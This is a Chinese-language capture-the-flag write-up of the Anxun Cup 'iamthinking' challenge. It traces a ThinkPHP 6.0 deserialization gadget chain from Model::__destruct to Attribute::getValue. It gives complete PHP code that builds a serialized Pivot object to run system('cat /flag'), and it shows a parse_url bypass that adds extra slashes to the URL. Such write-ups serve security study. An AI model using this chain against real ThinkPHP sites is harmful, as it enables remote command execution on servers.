安洵杯iamthinking(tp6反序列化链)

安洵杯iamthinking tp6pop链

考点:
1.tp6.0反序列化链
2.parse_url()绕过
利用链:

前半部分利用链(tp6.0)

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

tp6.0与tp5.2的后半部分利用链一样,但是官方和composer都找不到tp5.2的源码了,将就着看一下吧

首先入口点是在think\Model::__destruct(),可以用全局搜索找到
安洵杯iamthinking(tp6反序列化链)
令$this->lazySave=true,进入save()
安洵杯iamthinking(tp6反序列化链)
要确保进入this->updateData,所以就不能让前面的成立
安洵杯iamthinking(tp6反序列化链)
1.跟进isEmpty,令this->data不为空
安洵杯iamthinking(tp6反序列化链)
2.跟进this->trigger,令this->withEvent=flase
安洵杯iamthinking(tp6反序列化链)
3.令this->exits=true

满足条件进入updateData

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
        $data = $this->getChangedData();
        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }
        ......
        // 检查允许字段
        $allowFields = $this->checkAllowFields();

满足$data不为空,而data由getChangedData()得到,跟进,令this->force=true返回this->data安洵杯iamthinking(tp6反序列化链)
而前面isEmpty中已经定义过this->data不为空,那么data也不为空
进入checkAllowFields()
安洵杯iamthinking(tp6反序列化链)
满足this->field与this->schema为空数组来到else下,看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring

最终跟据tp5.2的后半部分构造出pop链:

<?php
namespace think\model\concern {
    trait Conversion
    {    
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["xxx" => "system"];

        public function get()
        {
            $this->data = ["xxx" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $field;
    protected $schema;
    protected $table;
    function __construct(){
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->table = true;
    }
}
}

namespace think\model{

use think\Model;

class Pivot extends Model
{
    function __construct($obj='')
    {
        //定义this->data不为空
        parent::__construct();
        $this->get();
        $this->table = $obj;
    }
}


$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
}

由于Model是一个抽象类,所以用他的子类Pivot,
由于model\concern\Conversion是一个trait复用类,所以只要在Model下use即可

https://www.anquanke.com/post/id/187393#h2-1

最后就是parse_url绕过了
安洵杯iamthinking(tp6反序列化链)
所以我们只要在public前加2个//构造成:

http://0d92fe62-e366-482d-a906-7f3b771fd060.node3.buuoj.cn///public/?payload=

这样导致url不合格但是路径依然正确,parse_url返回bool(false)即可绕过
安洵杯iamthinking(tp6反序列化链)

上一篇:TP6模型操作判断


下一篇:Thinkphp6快速入门一